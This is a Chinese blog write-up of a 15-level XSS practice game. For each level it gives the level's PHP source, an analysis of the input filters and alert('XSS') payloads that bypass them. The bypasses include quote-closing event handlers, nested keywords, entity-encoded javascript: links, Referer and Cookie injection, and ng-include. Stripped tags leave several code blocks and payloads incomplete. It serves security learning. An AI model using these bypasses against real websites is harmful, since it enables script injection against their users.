1. 程式人生 > >xss小遊戲原始碼分析

xss小遊戲原始碼分析

## 配置 下載地址:[https://files.cnblogs.com/files/Lmg66/xssgame-master.zip](https://files.cnblogs.com/files/Lmg66/xssgame-master.zip) 使用:下載解壓,放到www目錄下(phpstudy),http服務下都行,我使用的是phpstudy ## 第一關 ### 檢視原始碼: ``` 第1關

第1關 先熱個身吧

歡迎使用者:".$str.""; ?>
payload的長度:".strlen($str).""; ?> ``` ### 分析: 對name沒有任何的過濾輸出到標籤中,基本的xss都行 ### payload: ``` level1.php?name= ``` ## 第二關 ### 檢視原始碼: ``` 第2關

第2關 窒息的操作

沒有找到和".htmlspecialchars($str)."相關的結果.".'
'; ?>
payload的長度:".strlen($str).""; ?> ``` ### 分析: 用htmlspecialchars()函式,之前做過,會html實體化,<>會被轉義 可以嘗試"來閉合" ### payload: ``` " onclick=alert('XSS') // " onclick=alert('XSS') " ``` ## 第三關 ### 檢視原始碼: ``` 第3關

第3關 這該咋辦啊

沒有找到和".htmlspecialchars($str)."相關的結果."."
"; ?>
payload的長度:".strlen($str).""; ?> ``` ### 分析: 和第二關類似,只是變成了單引號,閉合單引號即可 ### payload: ``` ' onclick=alert('xss') ' ' onclick=alert('xs') // ``` ## 第四關 ### 檢視原始碼: ``` 第4關

第4關 生無可戀

","",$str); $str3=str_replace("<","",$str2); echo "

沒有找到和".htmlspecialchars($str)."相關的結果.

".'
'; ?>
payload的長度:".strlen($str3).""; ?> ``` ### 分析: 在第二關的基礎上進行了< >的過濾,但第二關payload沒有 < >仍然可以使用 ### payload: ``` " onclick=alert('XSS') // " onclick=alert('XSS') " ``` ## 第五關 ### 檢視原始碼: ``` 第5關

第5關 沒錯又是搜尋

第6關

第6關 嗯 還是搜尋

第7關

第7關 猜一猜下面題目還有搜尋嘛

沒有找到和".htmlspecialchars($str)."相關的結果.".'
'; ?>
payload的長度:".strlen($str6).""; ?> ``` ### 分析: get方式傳入keyword,strtolowe()函式變為小寫,然後replace()函式匹配script,on,src,data,href,但是隻是匹配了一次,所以可以巢狀繞過,最後htmlspecialchars(),所以< > 不能用,嘗試閉合" ### payload: ``` " oonnclick=alert('XSS') // ``` ## 第八關 ### 檢視原始碼: ``` 第8關

第8關 老鐵要和我換友鏈嘛?

'; ?>
友情連結'; ?>
payload的長度:".strlen($str7).""; ?> ``` ### 分析: get方式傳入keyword,strtolower()轉換為小寫,然後replace替換script,on,src,data,href,"("號html實體化了),然後發現又html實體化輸入,似乎沒有問題,然後發現友情連結,沒有html實體化輸入,可以嘗試在這個位置繞過,但是都被過濾了,嘗試編碼繞過對JavaScript;alert('xss')編碼(呸,不是編碼)轉義https://www.jianshu.com/p/6dcefb2a59b2(參考連結),目的是繞過replace,然後仍能被html解析 ![](https://img2020.cnblogs.com/blog/2092671/202007/2092671-20200716153156440-669296304.png) ### payload: ``` javascript:alert('xss') javascrip t:alert('XSS') ``` ## 第九關 ### 檢視原始碼: ``` 第9關

第9關 新增友連again

'; ?>
友情連結'; } else { echo '

友情連結
'; } ?>
payload的長度:".strlen($str7).""; ?> ``` ### 分析: 和第八關相同,只是判斷連結是否合法,加上http://就可以了 ### payload: ``` javascript:alert('xss') //http:// ``` ## 第十關 ### 檢視原始碼: ``` 第10關

第10關 嗯 搜尋又出現了

","",$str11); $str33=str_replace("<","",$str22); echo "

沒有找到和".htmlspecialchars($str)."相關的結果.

".'
'; ?>
payload的長度:".strlen($str).""; ?> ``` ### 分析: 傳入keyword和t_sort,keyword沒有過濾,但是html實體化輸出,而且沒在標籤內,所以應該沒問題,看t_sort,過濾了< > ,而且沒有實體化輸出 嘗試閉合引號 ### payload: ```?keyword=123&t_sort=" type="text" onclick=alert('XSS') //``` ## 第十一關 ### 檢視原始碼: ``` 第11關

第11關 為什麼這麼多搜尋呢

","",$str11); $str33=str_replace("<","",$str22); echo "

沒有找到和".htmlspecialchars($str)."相關的結果.

".'
'; ?>
payload的長度:".strlen($str).""; ?> ``` ### 分析: str和str00都html實體化而且不在script標籤內部,且閉合為',應該無解,然後發現str33,沒有實體化,$_SERVER['HTTP_REFERER']獲取httpreferer資訊,只是過濾了< > ,可以閉合雙引號來繞過,不過我沒明白這題啥用 ### payload: ```" type = "text" onclick=alert('xss')//``` ![](https://img2020.cnblogs.com/blog/2092671/202007/2092671-20200716155135936-947804950.png) ## 第十二關 ### 檢視原始碼: ``` 第12關

第12關 黑人問號

","",$str11); $str33=str_replace("<","",$str22); echo "

沒有找到和".htmlspecialchars($str)."相關的結果.

".'
'; ?>
payload的長度:".strlen($str).""; ?> ``` ### 分析: 和上一關一樣,xss位置變一下 ### payload: ```" type = "text" onclick=alert('xss')//``` ![](https://img2020.cnblogs.com/blog/2092671/202007/2092671-20200716155150206-207638672.png) ## 第十三關 ### 檢視原始碼: ``` 第13關

第13關 做題好爽啊

","",$str11); $str33=str_replace("<","",$str22); echo "

沒有找到和".htmlspecialchars($str)."相關的結果.

".'
'; ?>
payload的長度:".strlen($str).""; ?> ``` ### 分析: $_COOKIE["user"];獲取cookie,然後過濾< > 沒有實體化輸入,嘗試閉合雙引號 ### payload: ``` user=" type = "text" onclick=alert('xss')// ``` ![](https://img2020.cnblogs.com/blog/2092671/202007/2092671-20200716155202526-1653948031.png) ## 第十四關 ### 檢視原始碼: ``` 第14關

第14關 恭喜你快要通關了

'; ?> ``` ### 分析: 傳入src,然後實體化輸出,然後似乎無解,仔細看前面ng-include:, ng-include 指令用於包含外部的 HTML 檔案。包含的內容將作為指定元素的子節點。ng-include 屬性的值可以是一個表示式,返回一個檔名。預設情況下,包含的檔案需要包含在同一個域名下。所以傳入其他關的xss,不過不知道這有啥用既然其他地點有xss ![](https://img2020.cnblogs.com/blog/2092671/202007/2092671-20200716153858013-2105947117.png) ### payload: ``` src='level1.php?name= ' ``` 由於引用的js程式碼失敗,所以我沒成功,但云靶機是對的,雲靶機地址:https://www.xss.tv/ ![](https://img2020.cnblogs.com/blog/2092671/202007/2092671-20200716153943472-228248997.png) ## 第十五關 ### 檢視原始碼: ``` 第15關

第15關 厲害了 Word哥

".$str5.""; ?>
payload的長度:".strlen($str5).""; ?> ``` ### 分析: get傳入可以word,轉換為小寫,讓過濾script,空格,/,可以使用url編碼來繞過 | 符號 |url編碼 | | -------- | ------ | | 回車 | %0d | | 換行 | %0d | payload: ``` level15.php?keyword= ``` ## 參考文章 國光大佬:[https://www.sqlsec.com/2020/01/xss.html](https://www.sqlsec.com/2020/01/xss.html) 最後歡迎訪問我的部落格:[https://lmg66.github.io/](https://lmg66.gith